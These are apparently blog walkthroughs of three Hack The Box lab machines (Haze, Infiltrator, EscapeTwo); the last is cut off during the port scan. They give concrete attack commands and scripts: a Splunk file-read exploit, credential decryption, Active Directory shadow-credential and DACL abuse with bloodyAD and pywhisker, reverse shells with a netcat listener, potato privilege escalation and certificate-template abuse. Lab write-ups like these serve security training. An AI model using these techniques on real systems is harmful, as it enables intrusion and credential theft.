Understanding CVE-2024-36991: A Simple Explanation

Think of your computer or phone as a house with many doors and windows. Each one is a way to interact with the device. Now, imagine one of the locks isn’t working properlyβ€”it looks secure, but a clever intruder could still get in.

CVE-2024-36991 is like that broken lock, but in software. It’s a hidden flaw that, if found by the wrong person, could let them sneak into the system without permission. They might steal data, cause damage, or disrupt how things work.

The good news is that once these flaws are discovered, the developers usually fix them quickly, like calling a locksmith to repair a faulty lock. That’s why it’s so important to keep your apps and devices updated. Updates are your best defence against these types of security issues.

Leveraging CVE-2024-36991 for Exploitation

Downloaded the CVE-2024-36991 PoC to test the LFI vulnerability

I downloaded the publicly available proof-of-concept (PoC) and tested it using curl to retrieve sensitive configuration files, such as authentication.conf

The exploit was successful and allowed access to /etc/passwd, dumping several user password hashes

bindDN = CN=Paul Taylor,CN=Users,DC=haze,DC=htb
bindDNpassword = $7$ndnYiCPhf4lQgPhPu7Yz1pvGm66Nk0PpYcLN+qt1qyojg4QU+hKteemWQGUuTKDVlWbO8pY=

Although hashcat didn’t crack the hashes within a 5-minute test, the PoC also revealed an encrypted bindDNpassword used in Splunk’s LDAP integration:

Knowing that Splunk stores a symmetric key in splunk.secret, I used the same LFI to retrieve that key. With both the encrypted password and the key, I used the splunksecrets tool to attempt decryption.

Unlocking Splunk Credentials via splunksecrets

Installed Splunksecrets to decrypt the hash

Fixing Cryptography Module Reference in SplunkSecrets

Diagnosis:

  • Using Python 3.12, as per the traceback.
  • The cryptography.hazmat.decrepit module was deprecated in newer cryptography versions.
  • Ran pip show cryptographyβ€”found a version >36.0.0, where decrepit was removed.
  • Tested import: python3 -c β€œfrom cryptography.hazmat.decrepit.ciphers.algorithms import ARC4” confirmed the error.

Downgraded cryptography to a compatible version

I’m currently facing a fairly common issueβ€”it’s related to how a Python package references the cryptography library. In this case, the splunksecrets package is trying to import a module from cryptography.hazmat.decrepit, which doesn’t exist. The correct path should be cryptography.hazmat.primitives.

To fix this, I’ll need to manually edit the file located at:

/home/dark/.local/lib/python3.12/site-packages/splunksecrets/splunk.py

On line 6, the import statement needs to be corrected.

Current line:

from cryptography.hazmat.decrepit.ciphers.algorithms import ARC4

Updated line:

from cryptography.hazmat.primitives.ciphers.algorithms import ARC4

Once that’s updated, it should resolve the issue.

The splunksecrets tool offers various commands to encrypt and decrypt passwords related to Splunk and its components. It supports decrypting and encrypting credentials used for database connections (dbconnect), as well as passwords associated with Phantom assets. The tool also provides functionality to handle passwords encrypted with both current and legacy Splunk algorithms. Additionally, it can generate password hashes compatible with Splunk’s authentication system. This versatility makes splunksecrets a useful utility for recovering sensitive information during security assessments involving Splunk environments.

I decrypted the encrypted LDAP password by running the splunksecrets tool with the Splunk secret file and the captured ciphertext. This process successfully revealed the plaintext password for the user paul.taylor as Ld@p_Auth_Sp1unk@2k24, which can be used for LDAP authentication or further privilege escalation.

Enumerate using the netexec command

Tested credentials on SMB and LDAP

Attempted WinRM access with paul.taylor, but it failed

Enumerated AD users to find other accounts

Manually extracting the username is tedious, so the screenshot above shows a quicker way I used to identify it.

Discovered mark.adams and tested the same password, gaining WinRM access

Successfully connected to the machine via evil-winrm.

Enumerating AD for Privilege Escalation

The easiest way to understand mark.adams’s connections are by using BloodHound

The user mark.adams is a member of the gMSA Administrators group, granting access to retrieve and decrypt managed service account passwords from Active Directory. This privilege enables direct access to sensitive credentials (msDS-ManagedPassword), allowing privilege escalation or impersonation. It also opens paths for advanced attacks like NTLM relay or the Golden gMSA attack, which can provide persistent, stealthy access across the domain.

The details above display the properties of mark.adam.

I used a tool to connect to the target computer using the username β€œmark.adams” and the password I found. This confirmed that the credentials were correct and allowed me to access the system, which is running a recent version of Windows Server. The connection used standard network services to communicate securely with the target.

Bloodhound enumeration

The command executes BloodHound-python to collect Active Directory data using the machine account Haze-IT-Backup$. Instead of using a password, it authenticates with an NTLM hash (735c02c6b2dc54c3c8c6891f55279ebc)β€”a common technique during post-exploitation. The domain is specified as haze.htb, and the domain controller being queried is dc01.haze.htb, with the nameserver IP 10.10.11.61. The -c all flag instructs BloodHound to perform a full collection of all supported data types (such as sessions, ACLs, group memberships, etc.), and --zip compresses the output into a ZIP archive for easier ingestion into the BloodHound UI.

The machine account haze-it-backup$@haze.htb is a member of both support_services@haze.htb and Domain Computers@haze.htb groups. Membership in the Domain Computers group is standard for all domain-joined machines and typically grants basic permissions within the domain. However, its inclusion in the support services group may indicate elevated privileges or specific access rights related to IT support operations. This group membership may present an opportunity for privilege escalation, particularly if the support_services group has delegated permissions over high-value domain objects or privileged user accounts.

Attempted to retrieve gMSA NTLM hash, initially blank

I imported the Active Directory module and set the variable $gMSAName to β€œHaze-IT-Backup” and $principal to β€œmark.adams”. Then, I configured the managed service account so that the user mark.adams is authorised to retrieve the managed password.

You can also perform the same action using a one-liner command

We obtained the NTLM hash, but keep in mind that each user has a unique NTLM hash, so everyone will get a different one.

As shown by the results, the LDAP permissions now exceed regular permissions, allowing you to easily collect Domain Objects and DACLs, making enumeration straightforward for the user mark.adams.

BloodyAD and Pywhisker enumeration

An attempt to use BloodyAD for further exploitation failed due to invalid credentials, preventing successful authentication.

I had to rack my brain to figure out the issue, but after removing the $ from the Haze-IT-Backup username and running the ntpdate command, everything worked smoothly.

I also executed the BloodyAD commands displayed earlier to assign permissions and add group memberships to the Haze-IT-Backup account.

These commands attempt to escalate privileges by granting the Haze-IT-Backup account full control (genericAll) over the SUPPORT_SERVICES group and adding the service account as a member of that group.

I also ran a series of PyWhisker commands to manage permissions for the user edward.martin using the Haze-IT-Backup$ account:

pywhisker -d haze.htb -u Haze-IT-Backup$ -H unique --target edward.martin --action "list"

The initial listing showed that the msDS-KeyCredentialLink attribute was empty or inaccessible.

pywhisker -d haze.htb -u Haze-IT-Backup$ -H unique --target edward.martin --action "add"

This generated a certificate and key, updated the msDS-KeyCredentialLink attribute for edward.martin, and saved a PFX certificate file protected by a password. This certificate can be used to obtain a Ticket Granting Ticket (TGT) with external tools.

pywhisker -d haze.htb -u Haze-IT-Backup$ -H unique --target edward.martin --action "list"

This showed the new DeviceID and its creation timestamp.

#!/bin/bash

# Variables - replace with actual values
IP="10.10.11.61"
DOMAIN="haze.htb"
USER="Haze-IT-Backup$"
PASSWORD=":YOUR_PASSWORD_HERE"
TARGET_USER="edward.martin"
HASH=""  # Set this at runtime or before running commands

# Change owner of SUPPORT_SERVICES group
bloodyAD --host "$IP" -d "$DOMAIN" -u "$USER" -p "$PASSWORD" -f rc4 set owner 'SUPPORT_SERVICES' "$USER"

# Grant GenericAll permission to SUPPORT_SERVICES group
bloodyAD --host "$IP" -d "$DOMAIN" -u "$USER" -p "$PASSWORD" -f rc4 add genericAll "SUPPORT_SERVICES" "$USER"

# Add user as member of SUPPORT_SERVICES group
bloodyAD --host "$IP" -d "$DOMAIN" -u "$USER" -p "$PASSWORD" -f rc4 add groupMember 'SUPPORT_SERVICES' "$USER"

# Prompt user to enter the hash at runtime if empty
if [ -z "$HASH" ]; then
  read -p "Enter the NTLM hash: " HASH
fi

# List KeyCredentialLink attribute for target user
pywhisker -d "$DOMAIN" -u "$USER" -H "$HASH" --target "$TARGET_USER" --action "list"

# Add KeyCredential to target user
pywhisker -d "$DOMAIN" -u "$USER" -H "$HASH" --target "$TARGET_USER" --action "add"

# Confirm KeyCredentialLink attribute update
pywhisker -d "$DOMAIN" -u "$USER" -H "$HASH" --target "$TARGET_USER" --action "list"

I utilised an existing script to automate the execution of all the necessary commands, streamlining the process and ensuring accuracy during exploitation.

I used impacket-getTGT to request a Kerberos Ticket Granting Ticket (TGT) for the Haze-IT-Backup$ account on the haze.htb domain, authenticating with the NTLM hash instead of a plaintext password. After successfully obtaining the ticket, I set the KRB5CCNAME environment variable to point to the ticket cache file, allowing subsequent Kerberos-authenticated actions to use this ticket.

Gaining Access as edward.martin

The image reveals that Haze-IT-Backup$ can modify the Owner attribute of the SUPPORT_SERVICES object. Notably, SUPPORT_SERVICES holds the privilege to issue certificates on behalf of the EDWARD account. This chain of permissions enables a classic Shadow Credentials attack. To exploit this path, the first step is to leverage the DACL misconfiguration on SUPPORT_SERVICES to gain control over the object and escalate privileges accordingly.

I used Certipy to perform an automated Shadow Credentials attack targeting the user edward.martin. By authenticating Haze-IT-Backup$ with the NTLM hash, Certipy generated and added a temporary Key Credential (certificate) to edward.martin’s account. This allowed the tool to authenticate edward.martin using the certificate and obtain a Ticket Granting Ticket (TGT). After successfully retrieving the TGT and saving it to a credential cache file, Certipy reverted the Key Credential changes to avoid detection. Finally, the tool extracted the NT hash for edward.martin, which can be used for further attacks or lateral movement.

I used evil-winrm to connect to the target machine as edward.martin, authenticating with the NT hash I had previously extracted. This granted me an interactive WinRM session with the privileges of edward.martin, allowing direct access to the system for further enumeration or exploitation.

We can read the user flag by simply running the command type user.txt inside the WinRM session.

Escalate the Root Privileges Access

Privileges Access

While exploring the system, I navigated to C:\Backups\Splunk and found a backup file named splunk_backup_2024-08-06.zip. I downloaded the file for offline analysis using the download command in Evil-WinRM.

Analyse the Splunk_backup file

After downloading splunk_backup_2024-08-06.zip, I extracted its contents locally to analyse the files inside.

It appeared to be a standard Splunk directory structure.

It turned out that Splunk had created a copy of the active configuration file, which contained the hash above

An error occurred while attempting to use splunksecrets.

By running splunksecrets splunk-decrypt -S etc/auth/splunk.secret, I was able to decrypt the ciphertext

There was no user account associated with this password, resulting in a STATUS_LOGON_FAILURE During login attempts.

Uploading a malicious zip file to get a shell

I tested this password by logging into the previously discovered website.

The login attempt was successful, confirming the password’s validity.

This means accessing and reviewing the part of the system where applications or services are controlled and configured. It involves looking at how apps are set up, what permissions they have, and possibly making changes to their settings.

Before proceeding, I conducted research to understand how to leverage the admin access effectively.

I then proceeded to use a reverse shell tool from this repository to gain remote shell access on the Splunk system.

I downloaded the reverse shell tool repository directly onto the target machine to prepare for the next steps.

The content matches the example shown above.

I added the reverse shell command to the appropriate script file.

The attempt to create (zip) the archive file failed.

I started a listener on my machine to catch the incoming reverse shell connection.

An attempt to upload the tar file through the app’s interface resulted in an error stating that the application does not exist.

I modified the reverse shell command to address the issues encountered.

This time, the zip file was created successfully without any issues.

The file was successfully uploaded to the application.

I successfully received the reverse shell connection from the target.

Exploiting SeImpersonatePrivilege with SweetPotato

The current user has the SeImpersonatePrivilege permission enabled, as shown above. This privilege is commonly exploited using tools like Juicy Potato to escalate to NT SYSTEM.

Privilege Escalation to Alexander Green

The user alexander.green@haze.htb is a member of multiple Active Directory groups, including splunk_admins@haze.htb, Domain Users@haze.htb, and users@haze.htb. The splunk_admins group likely grants administrative privileges over the Splunk environment, which could provide access to sensitive logs, configurations, or even execution capabilities within Splunk. Additionally, being part of the Domain Users group confirms that the account is a standard domain-joined user. The users group, which includes Domain Users as members, may be used to manage or apply policies to a broader set of accounts. This nested group membership structure could potentially be leveraged to escalate privileges or pivot further within the domain, depending on the permissions assigned to each group.

I downloaded the SweetPotato binary to the target machine to leverage the SeImpersonatePrivilege for privilege escalation.

I tested SweetPotato by running it with the whoami command, confirming that privilege escalation to NT SYSTEM was successful.

Using this privilege escalation method, I gained NT SYSTEM access and was able to read the root flag.

The post Hack The Box: Haze Machine Walkthrough – Hard Difficulty appeared first on Threatninja.net.

Hack The Box: Inflitrator Machine Walkthrough – Insane Difficulity

By: darknite
14 June 2025 at 10:58
Reading Time: 17 minutes

Introduction to Infiltrator:

In this write-up, we will explore the β€œInfiltrator” machine from Hack The Box, categorised as an Insane difficulty challenge. This walkthrough will cover the reconnaissance, exploitation, and privilege escalation steps required to capture the flag.

Objective on Infiltrator machine:

The goal of this walkthrough is to complete the β€œInfiltrator” machine from Hack The Box by achieving the following objectives:

User Flag:

We start by finding user accounts that don’t have strong protections, like l.clark. Then, we use tools to grab their password hash, which is like a scrambled password. After cracking it, we get the actual password and use it to remotely access their desktop, where we find the first flag. If normal remote login doesn’t work, we try other methods like accessing shared folders to get in.

Root Flag:

Next, we exploit a weakness in the company’s certificate system. This flaw lets us request a special digital certificate that gives us admin-level access. Using this certificate, we log in as the administrator and grab the second flag from their desktop. This works because attackers can exploit the certificate system’s vulnerable configuration.

Enumerating the Machine

Reconnaissance:

Nmap Scan:

Begin with a network scan to identify open ports and running services on the target machine.

nmap -sC -sV -oN nmap_initial.txt 10.10.11.31

Nmap Output:

β”Œβ”€[dark@parrot]─[~/Documents/htb/infiltrator]
└──╼ $nmap -sC -sV -oA initial -Pn 10.10.11.31 
Nmap scan report for 10.10.11.31
Host is up (0.16s latency).
Not shown: 987 filtered tcp ports (no-response)
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
80/tcp   open  http          Microsoft IIS httpd 10.0
| http-methods: Potentially risky: TRACE
|_http-title: Infiltrator.htb
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-03-19 12:21:13Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP
| ssl-cert: SAN=dc01.infiltrator.htb, infiltrator.htb, INFILTRATOR
| Not valid before: 2024-08-04; Not valid after: 2099-07-17
445/tcp  open  microsoft-ds?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ssl/ldap      Microsoft Windows AD LDAP
3268/tcp open  ldap          Microsoft Windows AD LDAP
3269/tcp open  ssl/ldap      Microsoft Windows AD LDAP
3389/tcp open  ms-wbt-server Microsoft Terminal Services
| rdp-ntlm-info: Domain=INFILTRATOR, Host=DC01, OS=10.0.17763
| ssl-cert: commonName=dc01.infiltrator.htb (valid until 2025-09-17)
Service Info: Host: DC01; OS: Windows

Analysis:

  • 53/tcp – DNS (Simple DNS Plus) for internal name resolution.
  • 80/tcp – IIS 10.0 web server hosting Infiltrator.htb, TRACE enabled (may aid web testing).
  • 88/tcp – Kerberos authentication (typical for AD environments).
  • 135/tcp – MS RPC endpoint mapper (useful for enumeration).
  • 139/tcp – NetBIOS session service (Windows file/printer sharing).
  • 389/tcp – LDAP (Active Directory query in plaintext).
  • 445/tcp – SMB service (file sharing, potential attack vector).
  • 636/tcp – LDAPS (encrypted LDAP queries).
  • 3268/tcp – Global Catalog LDAP (AD forest-wide search).
  • 3269/tcp – Secure Global Catalog (LDAPS).
  • 3389/tcp – RDP on DC01 (remote GUI access).

Web Enumeration on Infiltrator machine:

Web Application Exploration:

The website appears quite basic and unremarkable.

I noticed a few names listed on the β€œYoung & Talented Members” page.

The potential username likely follows the format shown in the screenshot above.

A more efficient approach is to combine the username with the domain and utilise Kerbrute for enumeration.

Enumerating using impacket on infiltrator machine

The user l.clark was chosen because it does not require pre-authentication, which means the domain controller allows a request for a Kerberos ticket without verifying the user’s password first. This makes it possible to use the command below to request a ticket without supplying a password (--no-pass) aiding in offline password cracking or further enumeration:

impacket-GetNPUsers infiltrator.htb/l.clark --no-pass -dc-ip dc01.infiltrator.htb -outputfile user.out

The hash appears as shown in the screenshot.

I used a tool called Hashcat, which takes about a minute to try many possible passwords against the scrambled one until it finds the right match. That’s how I uncovered the password: WAT?watismypass!.

I was hoping it would work, but sadly, it didn’t authenticate with evil-winrm.

Finding an Access Path

The shares β€˜admin’, β€˜c$’, β€˜netlogon’, and β€˜sysvol’ are present but have no write permissions when accessed via impacket-psexec.

Access denied error (rpc_s_access_denied) encountered when using atexec.

Encountered WMI session error with code 0x80041003 (WBEM_E_ACCESS_DENIED) while executing wmiexec.

SMB enumeration didn’t give any useful info. Plus, even after checking thoroughly, I couldn’t find anything valuable.

All attempts failed, returning a status_logon_failure error.

Therefore, let’s highlight only l.clark the user associated with the previously identified password. Unexpectedly, the authentication was successful.

Attempted to gather information using BloodHound-python but failed due to a KRB_AP_ERR_SKEW error.

Let’s synchronise the system date and time using the ntpdate command.

In the end, I successfully completed the operation, which was quite unexpected.

BloodHound Enumeration

Summary of the BloodHound output collected directly from the machine.

It looks like user accounts like d.anderson and e.rodriguez are linked to generic or shared digital access, suggesting weak or unclear ownership that could be exploited.

Since NTLM login is disabled, you can interact directly with Kerberos to get a ticket-granting ticket (TGT):

impacket-getTGT infiltrator.htb/d.anderson:'WAT?watismypass!' -dc-ip dc01.INFILTRATOR.HTB
Impacket v0.12.0.dev1 - Copyright 2023 Fortra

[*] Saving ticket in d.anderson.ccache

This command obtains and saves the Kerberos ticket.

DACL Abuse inside the Infiltrator machine

User d.anderson has GenericAll permissions on the MARKETING DIGITAL OU, which allows for DACL abuse.

You can use the dacledit.py script from Impacket to modify permissions:

dacledit.py -action write -rights FullControl -inheritance -principal d.anderson -target-dn "OU=MARKETING DIGITAL,DC=INFILTRATOR,DC=HTB" infiltrator.htb/d.anderson -k -no-pass -dc-ip 10.10.11.31

This command grants full control permissions on the target OU.

Shadow Credentials for Infiltrator machine

Since D. Anderson has Full Control over the MARKETING DIGITAL group and E. RODRIGUEZ is part of that group, you can add shadow credentials to escalate privileges.

Using BloodyAD, an Active Directory privilege escalation tool, run the following command:

bloodyAD --host dc01.infiltrator.htb --dc-ip 10.10.11.31 -d infiltrator.htb -u d.anderson -k add shadowCredentials E.RODRIGUEZ

Keep in mind that the password you set for the shadow credential needs to follow the domain’s password rules, usually requiring uppercase and lowercase letters, numbers, and special characters.

We successfully changed the password, as shown in the screenshot above.

Kerberos Ticket Authentication on

The user e.rodriguez has permission to add themselves to the Chief’s Marketing group and can also change the password of m.harris. This means e.rodriguez holds unusually high privileges that could be abused to gain more access or control over sensitive

After we changed e.rodriguez’s password, we needed to prove to the network that we are now acting as this user. To do this, we requested something called a Kerberos ticket β€” think of it like a digital badge that confirms your identity on the network.

The first command:

impacket-getTGT infiltrator.htb/"e.rodriguez":"P@ssw0rd" -dc-ip dc01.infiltrator.htb

This tells the system:

  • β€œHey, get me a Kerberos ticket for the user e.rodriguez using the new password P@ssw0rd”
  • infiltrator.htb is the domain (like a company name on the network).
  • -dc-ip dc01.infiltrator.htb specifies the IP address of the domain controller β€” the server that manages user identities and passwords.

The second command:

export KRB5CCNAME=e.rodriguez.ccache

accounts.

This tells your computer, β€œWhen you need to prove who you are on the network, use the ticket saved in the file e.rodriguez.ccache.” This way, other tools or commands can authenticate as e.rodriguez without asking for the password again.

In short, these commands let us log in as e.rodriguez on the network using the new password, but instead of typing the password each time, we use the Kerberos ticket as a secure proof of identity.

This command uses BloodyAD to add the user e.rodriguez to the β€œCHIEFS MARKETING” group in the Active Directory. By doing this, e.rodriguez gains the permissions and access rights of that group, potentially increasing control within the network.

It seems the password isn’t being acceptedβ€”maybe a cleanup script or some process is reverting it back to the old one.

Kerberos Configuration

After making the changes, you need to configure your system to use the Kerberos ticket properly. First, tell your system where the Kerberos server is and specify the ticket file by editing the configuration file as shown below:

$ cat /etc/krb5.conf 
[libdefaults]
    default_realm = INFILTRATOR.HTB
    dns_lookup_kdc = false
    dns_lookup_realm = false

[realms]
    INFILTRATOR.HTB = {
        kdc = 10.10.11.31
        admin_server = 10.10.11.31
    }

[domain_realm]
    .infiltrator.htb = INFILTRATOR.HTB
    infiltrator.htb = INFILTRATOR.HTB

Once this is set up, you can use evil-winrm to pass the Kerberos ticket and authenticate seamlessly.

This script should work if quick enough

Finally, we gained access to the evil-winrm shell.

We can view the user flag by running the command type user.txt.

Escalate to Root Privileges Access

Privilege Escalation:

The whoami /all command reveals the full security context of the current user, including group memberships and privileges. It’s a quick way to check if the user has elevated rights or special privileges like SeImpersonatePrivilege, which can be abused for privilege escalation. This makes it essential during post-exploitation to assess what actions the compromised account can perform.

If whoami /privs shows three privileges enabled, you can briefly explain it like this in your write-up:

Running whoami /privs revealed three enabled privileges. These indicate what special actions the current user can perform without needing admin rights. Commonly abused ones include SeMachineAccouuntPrivilege, SeChangeNotifyPrivilege, or SeIncreaseWorrkingSetPrivilege, which attackers often leverage for privilege escalation via token manipulation or service abuse. Identifying these helps determine viable escalation paths quickly.

Port-Forwarding on the Infiltrator Machine

Discovered several local services while inspecting network connections using the netstat command.

On the client side, these are the ports that need to be forwarded to our machine.

The port is actively listening for connections.

Output Messenger Access

It redirects us to a login page.

An Apache server is also running.

Clicking on it leads to a 404 error page.

We can log in to Output Messenger using K.Turner’s credentials.

K.turner’s wall contains a post mentioning the password for M. Harris.

Log in to the application via a web browser using the credentials we discovered earlier.

Unfortunately, it doesn’t display properly in the browser

wget https://www.outputmessenger.com/OutputMessenger_amd64.deb -O OutputMessenger_amd64.deb
sudo dpkg -i OutputMessenger_amd64.deb
outputmessenger

The commands start by downloading the Output Messenger installation package directly from its official website using wget, saving it as a .deb file on the local machine. Then, the package is installed with administrative privileges using dpkg, the Debian package manager, which handles the installation of .deb files. After the installation is complete, the outputmessenger command is used to launch the application, allowing access to its messaging features.

Let’s launch Output Messenger.

Use the same credentials as before to log in.

We have successfully logged into Output Messenger as m.harris, and the interface appears clean and visually appealing.

We should download the UserExplorer.exe file to our local machine for further analysis.

Cracking the password

from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.backends import default_backend
import base64

def decrypt_string(key: str, cipher_text: str) -> str:
  key_bytes = key.encode('utf-8')
  cipher_bytes = base64.b64decode(cipher_text)

  if len(key_bytes) not in {16, 24, 32}:
    raise ValueError("Key must be 16, 24, or 32 bytes long")

  cipher = Cipher(algorithms.AES(key_bytes), modes.CBC(b'\x00' * 16), backend=default_backend())
  decryptor = cipher.decryptor()

  decrypted_bytes = decryptor.update(cipher_bytes) + decryptor.finalize()

  return decrypted_bytes.decode('utf-8')

key = 'b14ca5898a4e4133bbce2ea2315a1916'
cipher_text = 'TGlu22oo8GIHRkJBBpZ1nQ/x6l36MVj3Ukv4Hw86qGE='

print(decrypt_string(key,decrypt_string(key, cipher_text)))

It works by taking a scrambled string (known as a ciphertext) and unlocking it using a method called AES encryption, which is a widely used standard for securing data. The key acts like a password that must match exactly for the decryption to succeed. If the key isn’t the right length, specifically 16, 24, or 32 characters, the program will stop and raise an error. Once everything is set up, it processes the ciphertext and converts it back into readable text. Interestingly, in this example, the program decrypts the message twice in a row, which might mean the original data was encrypted two times for extra security.

After some time, we successfully retrieved the password displayed above.

It should work like a charm.

It functions exactly as intended.

The privileges granted are the same as those of the previous user.

Database Analysis

There are two DB3 files available for further investigation.

Downloaded the database to our machine and observed several chatroom groups listed inside.

This hints at the presence of an account password, but access to the chat history in this channel is restricted. Coincidentally, the API key for it is available just above.

The user lan_management has permission to read the GMSA (Group Managed Service Account) password of infiltrator_svc. This means they can retrieve the service account’s credentials, which could be used to access systems or services that rely on that account, potentially a key step toward privilege escalation.

This command securely retrieves chat history from a local server using a unique API key for access. It specifically requests logs from a particular chatroom within the date range of August 1, 2023, to August 31, 2024. Once the data is received, it filters out just the chat logs and saves them into a file named dark.html. This allows users to back up or review past conversations in a readable format.

We retrieve the credentials for O.martinez.

I generated a PowerShell Base64-encoded reverse shell one-liner using revshells.com and saved it as rev.bat. After uploading the script to the Infiltrator machine, I scheduled a task to execute it. When the scheduled time arrived, the reverse shell successfully connected back, granting remote access.

dark@parrot$ rlwrap nc -lvnp 9007
Listening on 0.0.0.0 9007
Connection received on 10.10.11.31 50279

PS C:\Windows\system32> whoami
infiltrator\o.martinez

There is one .pcapng file, which is a Wireshark analysis file.

Download the file to our local machine.

Wireshark Analysis

We have a new_auth_token, which might be a password.

We save the bitlocker-backup.7z file to our machine in ASCII format.

BitLocker Backup

The file should resemble the example shown above.

However, it did not succeed for some reason.

Therefore, let’s download the file in β€œRAW” format.

In the end, the file is a properly formatted 7-zip archive.

Let’s crack the zip file

Discovered β€œzipper” as the password for the bitlocker-backup.7z archive.

The file was successfully unzipped using the password we found earlier.

There is one HTML file.

Unfortunately, the HTML file appears to be in French.

It contains BitLocker recovery keys, but I’m not sure what the keys are used for yet.

RDP Connection

Let’s connect to the machine using an RDP session.

Enter the credentials we found in the Wireshark packet.

Let’s enter the recovery key we found in the HTML file.

We successfully located the Backup_Credentials.7z file.

Download the backup file to our local machine.

There are two folders that we can explore further. We found several files, including ntds.dit, the Security and System files.

The obvious step here is to try dumping hashes from the NTDS file using secretsdump, but nothing interesting came out of it.

This command extracts important data from a Windows system’s security database and saves it into a new file for easier analysis.

This shows a list of user accounts, including their names and descriptions. The last line looks like a username and password combination.

The command connects to the server at 10.10.11.31 using the username β€œlan_management” and the password β€œl@n_M@an!1331.” It identifies the server as running Windows 10 or Server 2019 and successfully authenticates the user on the infiltrator.htb domain. After logging in, it retrieves Group Managed Service Account (GMSA) passwords. For instance, it obtains the NTLM hash for the account β€œinfiltrator_svc$,” represented here as β€œxxx,” which is unique for each user. This process allows access to the server and extraction of valuable service account credentials.

This command checks if the account β€œinfiltrator_svc$” with a specific password hash has any security weaknesses on the domain controller at 10.10.11.31, and it shows the results directly.

Exploiting ESC4 Vulnerability in Active Directory Certificate Services for Privilege Escalation

This article from RedFoxSec dives into how attackers exploit poorly secured Active Directory certificate templates. In many organisations, these templates control who can request or manage digital certificates, which are like electronic ID cards for devices and users. When the security settings on these templates are weak or misconfigured, attackers can abuse them to issue themselves trusted certificates. This allows them to impersonate users or computers, gain elevated access, and move freely inside the network without raising alarms. Understanding and fixing these vulnerabilities is crucial to preventing serious security breaches in a Windows environment.

We ran those commands, but they didn’t produce the expected results.

Therefore, we checked the network traffic and packets for issues, but no errors were found.

After some time, I hit a roadblock with the escalation and asked for advice from a friend who had successfully rooted it. We discovered that Certipy version 5.0.2 was causing the issue, so I decided to downgrade to an earlier version of Certipy. To my surprise, it worked perfectly.

We successfully obtained the administrator.pfx file as shown above.

The NTLM hash for the user administrator@infiltrator.htb was successfully extracted. The retrieved hash value is aad3b435b51404eeaad3b435b51404ee:1356f502d2764368302ff0369b1121a1.

Using these hashes, we successfully gained access as the administrator.

We can view the root flag by running the command type root.txt.

The post Hack The Box: Inflitrator Machine Walkthrough – Insane Difficulity appeared first on Threatninja.net.

Hack The Box: EscapeTwo Machine Walkthrough – Easy Difficulty

By: darknite
24 May 2025 at 10:58
Reading Time: 9 minutes

Introduction to EscapeTwo

This write-up will explore the β€œEscapeTwo” machine from Hack The Box, categorised as an easy difficulty challenge. This walkthrough will cover the reconnaissance, exploitation, and privilege escalation steps required to capture the flag.

Objective:

The goal of this walkthrough is to complete the β€œEscapeTwo” machine from Hack The Box by achieving the following objectives:

User Flag:

The attacker explored the target machine’s network services and exploited weak access controls. Initial scans identified open ports, including SMB, enabling access to shared folders. By reviewing these files, the attacker discovered a password and identified a user account (Ryan) with elevated permissions. Using these permissions, the attacker connected remotely to the system and retrieved the user flag with a simple command.

Root Flag:

First, the attacker escalated privileges by exploiting an Active Directory misconfiguration. Next, using the Ryan account, they employed tools to identify and modify permissions, thereby gaining control over a privileged account. With this control in hand, the attacker then acquired a special certificate, subsequently authenticated as an administrator, and finally retrieved the root flag with a command.

Enumerating the EscapeTWO Machine

Reconnaissance:

Nmap Scan:

Begin with a network scan to identify open ports and running services on the target machine.

nmap -sC -sV -oN nmap_initial.txt 10.10.11.51

Nmap Output:

β”Œβ”€[dark@parrot]─[~/Documents/htb/escapetwo]
└──╼ $nmap -sC -sV -oA initial -Pn 10.10.11.51
Nmap scan report for 10.10.11.51
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-05-16 14:15:14Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-05-16T14:16:37+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=DC01.sequel.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.sequel.htb
| Not valid before: 2025-05-16T11:51:14
|_Not valid after:  2026-05-16T11:51:14
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.sequel.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.sequel.htb
| Not valid before: 2025-05-16T11:51:14
|_Not valid after:  2026-05-16T11:51:14
|_ssl-date: 2025-05-16T14:16:37+00:00; 0s from scanner time.
1433/tcp open  ms-sql-s      Microsoft SQL Server 2019 15.00.2000.00; RTM
| ms-sql-info: 
|   10.10.11.51:1433: 
|     Version: 
|       name: Microsoft SQL Server 2019 RTM
|       number: 15.00.2000.00
|       Product: Microsoft SQL Server 2019
|       Service pack level: RTM
|       Post-SP patches applied: false
|_    TCP port: 1433
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2025-05-16T04:02:09
|_Not valid after:  2055-05-16T04:02:09
|_ssl-date: 2025-05-16T14:16:37+00:00; 0s from scanner time.
| ms-sql-ntlm-info: 
|   10.10.11.51:1433: 
|     Target_Name: SEQUEL
|     NetBIOS_Domain_Name: SEQUEL
|     NetBIOS_Computer_Name: DC01
|     DNS_Domain_Name: sequel.htb
|     DNS_Computer_Name: DC01.sequel.htb
|     DNS_Tree_Name: sequel.htb
|_    Product_Version: 10.0.17763
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-05-16T14:16:37+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=DC01.sequel.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.sequel.htb
| Not valid before: 2025-05-16T11:51:14
